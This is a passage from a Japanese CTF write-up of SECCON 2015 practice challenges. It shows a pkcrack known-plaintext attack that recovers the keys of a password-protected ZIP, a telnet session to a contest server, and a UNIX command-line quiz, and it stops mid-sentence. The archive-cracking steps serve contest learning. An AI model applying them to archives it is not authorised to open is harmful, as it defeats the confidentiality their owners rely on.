&lt;p&gt;これは練習用の問題です。暗号表がありますので１文字づつ比較して復号しました。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Unzip the file (Crypto) 100点&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;問題にunzipというファイルが添付されています。ダウンロードしてfileで確認したところZIPファイルのようです。 拡張子を.zipにして、unzipすると暗号化されていました。中身のファイル名だけはわかります。&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-fallback" data-lang="fallback"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;$ unzip unzip.zip
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Archive: unzip.zip
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;[unzip.zip] backnumber08.txt password: (わからないのでエンターキーで）
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;skipping: backnumber08.txt incorrect password
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;skipping: backnumber09.txt incorrect password
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;skipping: flag incorrect password
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;$
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;いろいろ調べたところ、ZIPに含まれている暗号化されていないPlainTextがあれば解読できるpkcrackというツールがあるようです。 取り急ぎdebianにインストールしました。&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-fallback" data-lang="fallback"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;$ cd pkcrack-1.2.2/
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;$ cd src
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;$ make
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;でも問題にはbacknumber08.txtやbacknumber09.txtは含まれていません。 ファイル名でWeb検索したところ、SECCONのメールマガジンのバックナンバーが同じファイル名でした。 これをダウンロードして、さらにzipしたものも作成します。&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-fallback" data-lang="fallback"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;$ zip backnumber08.zip backnumber08.txt
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;$ zip backnumber09.zip backnumber09.txt
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;$ ./pkcrack -C ./unzip.zip -c backnumber09.txt -p backnumber09.txt -P backnumber09.zip -d xxxx.zip
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Files read. Starting stage 1 on Sun Dec 6 13:56:16 2015
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Generating 1st generation of possible key2_4850 values...done.
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Found 4194304 possible key2-values.
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Now we&amp;#39;re trying to reduce these...
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Done. Left with 3342 possible Values. bestOffset is 24.
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Stage 1 completed. Starting stage 2 on Sun Dec 6 13:56:27 2015
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Ta-daaaaa! key0=270293cd, key1=b1496a17, key2=8fd0945a
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Probabilistic test succeeded for 4831 bytes.
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Ta-daaaaa! key0=270293cd, key1=b1496a17, key2=8fd0945a
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Probabilistic test succeeded for 4831 bytes.
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Ta-daaaaa! key0=270293cd, key1=b1496a17, key2=8fd0945a
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Probabilistic test succeeded for 4831 bytes.
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Ta-daaaaa! key0=270293cd, key1=b1496a17, key2=8fd0945a
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Probabilistic test succeeded for 4831 bytes.
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Ta-daaaaa! key0=270293cd, key1=b1496a17, key2=8fd0945a
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Probabilistic test succeeded for 4831 bytes.
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Ta-daaaaa! key0=270293cd, key1=b1496a17, key2=8fd0945a
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Probabilistic test succeeded for 4831 bytes.
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Stage 2 completed. Starting zipdecrypt on Sun Dec 6 13:58:07 2015
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Decrypting backnumber08.txt (5315a01322ab296c211eecba)... OK!
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Decrypting backnumber09.txt (83e6640cbec32aeaf10ed1ba)... OK!
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Decrypting flag (34e4d2ab7fe1e2421808bab2)... OK!
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Finished on Sun Dec 6 13:58:07 2015
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;$
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;これでパスワードが外れたZIPファイルができました。&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-fallback" data-lang="fallback"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;$ unzip xxxx.zip
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;早速unzipして、無事zipファイルを解凍することができました。 生成されたflagsファイルをみると、またZIPファイルでしたのでこれも解凍したところ、XMLファイルがたくさんできました。 ディレクトリやファイルの内容から見てWORDのファイルのようです。 flagsの拡張子を.docxにしてWindowsPCで開いたところ、白い文字でflagが書かれていました。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Connect the server (Web/Network) 100点&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;サーバー名:10000　というヒントのみ。 とりあえず、サーバーにポート番号10000で接続してみました。&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-fallback" data-lang="fallback"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;$ telnet xxxxx.xxx.seccon.jp 10000
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Trying xxx.xxx.xxx.xxx...
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Connected to xxxx.xxx.seccon.jp.
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Escape character is &amp;#39;^]&amp;#39;.
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;CONNECT 300
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Welcome to SECCON server.
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;The server is connected via slow dial-up connection.
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Please be patient, and do not brute-force.
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;login:
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Login timer timed out.
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Thank you for your cooperation.
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;HINT: It is already in your hands.
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Good bye.
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Connection closed by foreign host.
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;$
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;文字がゆっくり表示されます。CONNECT 300はアナログモデムをイメージしているのでしょう。 問題のジャンルとしてはWeb/Networkなので、ネットワークに流れているデータも見てみると、これ以外のものが流れているようにみえました。 試しに、Webブラウザでもアクセスしたところ・・・。 &lt;img alt="connect_the_server.png" class="gallery-image" data-flex-basis="560px" data-flex-grow="233" height="329" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://kanpapa.com/2015/12/seccon-ctf-2015-online-write-up/images/connect_the_server.png" width="768"&gt; 何かフラグのようなデータが流れています。１文字表示して、１文字消してを繰り返しているので画面で見えなかったのです。 この文字を拾うとフラグがでてきました。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Command-Line Quiz (Unknown) 100点&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;これはただひたすら知っているUNIXコマンドを答えていくものです。&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-gdscript3" data-lang="gdscript3"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="n"&gt;CaitSith&lt;/span&gt; &lt;span class="n"&gt;login&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;root&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="n"&gt;Password&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="o"&gt;$&lt;/span&gt; &lt;span class="n"&gt;cat&lt;/span&gt; &lt;span class="n"&gt;stage1&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;txt&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="n"&gt;What&lt;/span&gt; &lt;span class="n"&gt;command&lt;/span&gt; &lt;span class="k"&gt;do&lt;/span&gt; &lt;span class="n"&gt;you&lt;/span&gt; &lt;span class="n"&gt;use&lt;/span&gt; &lt;span class="n"&gt;when&lt;/span&gt; &lt;span class="n"&gt;you&lt;/span&gt; &lt;span class="n"&gt;want&lt;/span&gt; &lt;span class="n"&gt;to&lt;/span&gt; &lt;span class="n"&gt;read&lt;/span&gt; &lt;span class="n"&gt;only&lt;/span&gt; &lt;span class="n"&gt;top&lt;/span&gt; &lt;span class="n"&gt;lines&lt;/span&gt; &lt;span class="n"&gt;of&lt;/span&gt; &lt;span class="n"&gt;a&lt;/span&gt; &lt;span class="n"&gt;text&lt;/span&gt; &lt;span class="n"&gt;file&lt;/span&gt;&lt;span class="err"&gt;?&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="n"&gt;Set&lt;/span&gt; &lt;span class="n"&gt;your&lt;/span&gt; &lt;span class="n"&gt;answer&lt;/span&gt; &lt;span class="n"&gt;to&lt;/span&gt; &lt;span class="n"&gt;environment&lt;/span&gt; &lt;span class="n"&gt;variable&lt;/span&gt; &lt;span class="n"&gt;named&lt;/span&gt; &lt;span class="n"&gt;stage1&lt;/span&gt; &lt;span class="ow"&gt;and&lt;/span&gt; &lt;span class="n"&gt;execute&lt;/span&gt; &lt;span class="n"&gt;a&lt;/span&gt; &lt;span class="n"&gt;shell&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="o"&gt;$&lt;/span&gt; &lt;span class="n"&gt;stage1&lt;/span&gt;&lt;span class="o"&gt;=$&lt;/span&gt;&lt;span class="n"&gt;your_answer_here&lt;/span&gt; &lt;span class="n"&gt;sh&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="n"&gt;If&lt;/span&gt; &lt;span class="n"&gt;your&lt;/span&gt; &lt;span class="n"&gt;answer&lt;/span&gt; &lt;span class="n"&gt;is&lt;/span&gt; &lt;span class="n"&gt;what&lt;/span&gt; &lt;span class="n"&gt;I&lt;/span&gt; &lt;span class="n"&gt;meant&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;you&lt;/span&gt; &lt;span class="n"&gt;will&lt;/span&gt; &lt;span class="n"&gt;be&lt;/span&gt; &lt;span class="n"&gt;able&lt;/span&gt; &lt;span class="n"&gt;to&lt;/span&gt; &lt;span class="n"&gt;access&lt;/span&gt; &lt;span class="n"&gt;stage2&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;txt&lt;/span&gt; &lt;span class="n"&gt;file&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="o"&gt;$&lt;/span&gt; &lt;span class="n"&gt;stage1&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;head&lt;/span&gt; &lt;span class="n"&gt;sh&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="o"&gt;$&lt;/span&gt; &lt;span class="n"&gt;cat&lt;/span&gt; &lt;span class="n"&gt;stage2&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;txt&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="n"&gt;What&lt;/span&gt; &lt;span class="n"&gt;command&lt;/span&gt; &lt;span class="k"&gt;do&lt;/span&gt; &lt;span class="n"&gt;you&lt;/span&gt; &lt;span class="n"&gt;use&lt;/span&gt; &lt;span class="n"&gt;when&lt;/span&gt; &lt;span class="n"&gt;you&lt;/span&gt; &lt;span class="n"&gt;want&lt;/span&gt; &lt;span class="n"&gt;to&lt;/span&gt; &lt;span class="n"&gt;read&lt;/span&gt; &lt;span class="n"&gt;only&lt;/span&gt; &lt;span class="n"&gt;bottom&lt;/span&gt; &lt;span class="n"&gt;lines&lt;/span&gt; &lt;span class="n"&gt;of&lt;/span&gt; &lt;span class="n"&gt;a&lt;/span&gt; &lt;span class="n"&gt;text&lt;/span&gt; &lt;span class="n"&gt;file&lt;/span&gt;&lt;span class="err"&gt;?&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="n"&gt;Set&lt;/span&gt; &lt;span class="n"&gt;your&lt;/span&gt; &lt;span class="n"&gt;answer&lt;/span&gt; &lt;span class="n"&gt;to&lt;/span&gt; &lt;span class="n"&gt;environment&lt;/span&gt; &lt;span class="n"&gt;variable&lt;/span&gt; &lt;span class="n"&gt;named&lt;/span&gt; &lt;span class="n"&gt;stage2&lt;/span&gt; &lt;span class="ow"&gt;and&lt;/span&gt; &lt;span class="n"&gt;execute&lt;/span&gt; &lt;span class="n"&gt;a&lt;/span&gt; &lt;span class="n"&gt;shell&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="o"&gt;$&lt;/span&gt; &lt;span class="n"&gt;stage2&lt;/span&gt;&lt;span class="o"&gt;=$&lt;/span&gt;&lt;span class="n"&gt;your_answer_here&lt;/span&gt; &lt;span class="n"&gt;sh&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="n"&gt;If&lt;/span&gt; &lt;span class="n"&gt;your&lt;/span&gt; &lt;span class="n"&gt;answer&lt;/span&gt; &lt;span class="n"&gt;is&lt;/span&gt; &lt;span class="n"&gt;what&lt;/span&gt; &lt;span class="n"&gt;I&lt;/span&gt; &lt;span class="n"&gt;meant&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;you&lt;/span&gt; &lt;span class="n"&gt;will&lt;/span&gt; &lt;span class="n"&gt;be&lt;/span&gt; &lt;span class="n"&gt;able&lt;/span&gt; &lt;span class="n"&gt;to&lt;/span&gt; &lt;span class="n"&gt;access&lt;/span&gt; &lt;span class="n"&gt;stage3&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;txt&lt;/span&gt; &lt;span class="n"&gt;file&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="o"&gt;$&lt;/span&gt; &lt;span class="n"&gt;stage2&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;tail&lt;/span&gt; &lt;span class="n"&gt;sh&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="o"&gt;$&lt;/span&gt; &lt;span class="n"&gt;cat&lt;/span&gt; &lt;span class="n"&gt;stage3&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;txt&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="n"&gt;What&lt;/span&gt; &lt;span class="n"&gt;command&lt;/span&gt; &lt;span class="k"&gt;do&lt;/span&gt; &lt;span class="n"&gt;you&lt;/span&gt; &lt;span class="n"&gt;use&lt;/span&gt; &lt;span class="n"&gt;when&lt;/span&gt; &lt;span class="n"&gt;you&lt;/span&gt; &lt;span class="n"&gt;want&lt;/span&gt; &lt;span class="n"&gt;to&lt;/span&gt; &lt;span class="n"&gt;pick&lt;/span&gt; &lt;span class="n"&gt;up&lt;/span&gt; &lt;span class="n"&gt;lines&lt;/span&gt; &lt;span class="n"&gt;that&lt;/span&gt; &lt;span class="n"&gt;match&lt;/span&gt; &lt;span class="n"&gt;specific&lt;/span&gt; &lt;span class="n"&gt;patterns&lt;/span&gt;&lt;span class="err"&gt;?&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="n"&gt;Set&lt;/span&gt; &lt;span class="n"&gt;your&lt;/span&gt; &lt;span class="n"&gt;answer&lt;/span&gt; &lt;span class="n"&gt;to&lt;/span&gt; &lt;span class="n"&gt;environment&lt;/span&gt; &lt;span class="n"&gt;variable&lt;/span&gt; &lt;span class="n"&gt;named&lt;/span&gt; &lt;span class="n"&gt;stage3&lt;/span&gt; &lt;span class="ow"&gt;and&lt;/span&gt; &lt;span class="n"&gt;execute&lt;/span&gt; &lt;span class="n"&gt;a&lt;/span&gt; &lt;span class="n"&gt;shell&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="o"&gt;$&lt;/span&gt; &lt;span class="n"&gt;stage3&lt;/span&gt;&lt;span class="o"&gt;=$&lt;/span&gt;&lt;span class="n"&gt;your_answer_here&lt;/span&gt; &lt;span class="n"&gt;sh&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="n"&gt;If&lt;/span&gt; &lt;span class="n"&gt;your&lt;/span&gt; &lt;span class="n"&gt;answer&lt;/span&gt; &lt;span class="n"&gt;is&lt;/span&gt; &lt;span class="n"&gt;what&lt;/span&gt; &lt;span class="n"&gt;I&lt;/span&gt; &lt;span class="n"&gt;meant&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;you&lt;/span&gt; &lt;span class="n"&gt;will&lt;/span&gt; &lt;span class="n"&gt;be&lt;/span&gt; &lt;span class="n"&gt;able&lt;/span&gt; &lt;span class="n"&gt;to&lt;/span&gt; &lt;span class="n"&gt;access&lt;/span&gt; &lt;span class="n"&gt;stage4&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;txt&lt;/span&gt; &lt;span class="n"&gt;file&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="o"&gt;$&lt;/span&gt; &lt;span class="n"&gt;stage3&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;grep&lt;/span&gt; &lt;span class="n"&gt;sh&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="o"&gt;$&lt;/span&gt; &lt;span class="n"&gt;cat&lt;/span&gt; &lt;span class="n"&gt;stage4&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;txt&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="n"&gt;What&lt;/span&gt; &lt;span class="n"&gt;command&lt;/span&gt; &lt;span class="k"&gt;do&lt;/span&gt; &lt;span class="n"&gt;you&lt;/span&gt; &lt;span class="n"&gt;use&lt;/span&gt; &lt;span class="n"&gt;when&lt;/span&gt; &lt;span class="n"&gt;you&lt;/span&gt; &lt;span class="n"&gt;want&lt;/span&gt; &lt;span class="n"&gt;to&lt;/span&gt; &lt;span class="n"&gt;process&lt;/span&gt; &lt;span class="n"&gt;a&lt;/span&gt; &lt;span class="n"&gt;text&lt;/span&gt; &lt;span class="n"&gt;file&lt;/span&gt;&lt;span class="err"&gt;?&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="n"&gt;Set&lt;/span&gt; &lt;span class="n"&gt;your&lt;/span&gt; &lt;span class="n"&gt;answer&lt;/span&gt; &lt;span class="n"&gt;to&lt;/span&gt; &lt;span class="n"&gt;environment&lt;/span&gt; &lt;span class="n"&gt;variable&lt;/span&gt; &lt;span class="n"&gt;named&lt;/span&gt; &lt;span class="n"&gt;stage4&lt;/span&gt; &lt;span class="ow"&gt;and&lt;/span&gt; &lt;span class="n"&gt;execute&lt;/span&gt; &lt;span class="n"&gt;a&lt;/span&gt; &lt;span class="n"&gt;shell&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="o"&gt;$&lt;/span&gt; &lt;span class="n"&gt;stage4&lt;/span&gt;&lt;span class="o"&gt;=$&lt;/span&gt;&lt;span class="n"&gt;your_answer_here&lt;/span&gt; &lt;span class="n"&gt;sh&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="n"&gt;If&lt;/span&gt; &lt;span class="n"&gt;your&lt;/span&gt; &lt;span class="n"&gt;answer&lt;/span&gt; &lt;span class="n"&gt;is&lt;/span&gt; &lt;span class="n"&gt;what&lt;/span&gt; &lt;span class="n"&gt;I&lt;/span&gt; &lt;span class="n"&gt;meant&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;you&lt;/span&gt; &lt;span class="n"&gt;will&lt;/span&gt; &lt;span class="n"&gt;be&lt;/span&gt; &lt;span class="n"&gt;able&lt;/span&gt; &lt;span class="n"&gt;to&lt;/span&gt; &lt;span class="n"&gt;access&lt;/span&gt; &lt;span class="n"&gt;stage5&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;txt&lt;/span&gt; &lt;span class="n"&gt;file&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="o"&gt;$&lt;/span&gt; &lt;span class="n"&gt;stage4&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;cat&lt;/span&gt; &lt;span class="n"&gt;sh&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="err"&gt;：（思考錯誤の繰り返し）&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="err"&gt;：&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="o"&gt;$&lt;/span&gt; &lt;span class="n"&gt;stage4&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;sed&lt;/span&gt; &lt;span class="n"&gt;sh&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="o"&gt;$&lt;/span&gt; &lt;span class="n"&gt;cat&lt;/span&gt; &lt;span class="n"&gt;stage5&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;txt&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="n"&gt;cat&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;can&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;t open &amp;#39;&lt;/span&gt;&lt;span class="n"&gt;stage5&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;txt&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;: Operation not permitted&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="o"&gt;$&lt;/span&gt; &lt;span class="n"&gt;stage4&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;awk&lt;/span&gt; &lt;span class="n"&gt;sh&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="o"&gt;$&lt;/span&gt; &lt;span class="n"&gt;cat&lt;/span&gt; &lt;span class="n"&gt;stage5&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;txt&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="n"&gt;OK&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt; &lt;span class="n"&gt;You&lt;/span&gt; &lt;span class="n"&gt;reached&lt;/span&gt; &lt;span class="n"&gt;the&lt;/span&gt; &lt;span class="n"&gt;final&lt;/span&gt; &lt;span class="n"&gt;stage&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt; &lt;span class="n"&gt;The&lt;/span&gt; &lt;span class="n"&gt;flag&lt;/span&gt; &lt;span class="n"&gt;word&lt;/span&gt; &lt;span class="n"&gt;is&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;flags&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;txt&lt;/span&gt; &lt;span class="n"&gt;file&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="n"&gt;flags&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;txt&lt;/span&gt; &lt;span class="n"&gt;can&lt;/span&gt; &lt;span class="n"&gt;be&lt;/span&gt; &lt;span class="n"&gt;read&lt;/span&gt; &lt;span class="n"&gt;by&lt;/span&gt; &lt;span class="n"&gt;only&lt;/span&gt; &lt;span class="n"&gt;one&lt;/span&gt; &lt;span class="n"&gt;specific&lt;/span&gt; &lt;span class="n"&gt;program&lt;/span&gt; &lt;span class="n"&gt;which&lt;/span&gt; &lt;span class="n"&gt;is&lt;/span&gt; &lt;span class="n"&gt;available&lt;/span&gt;
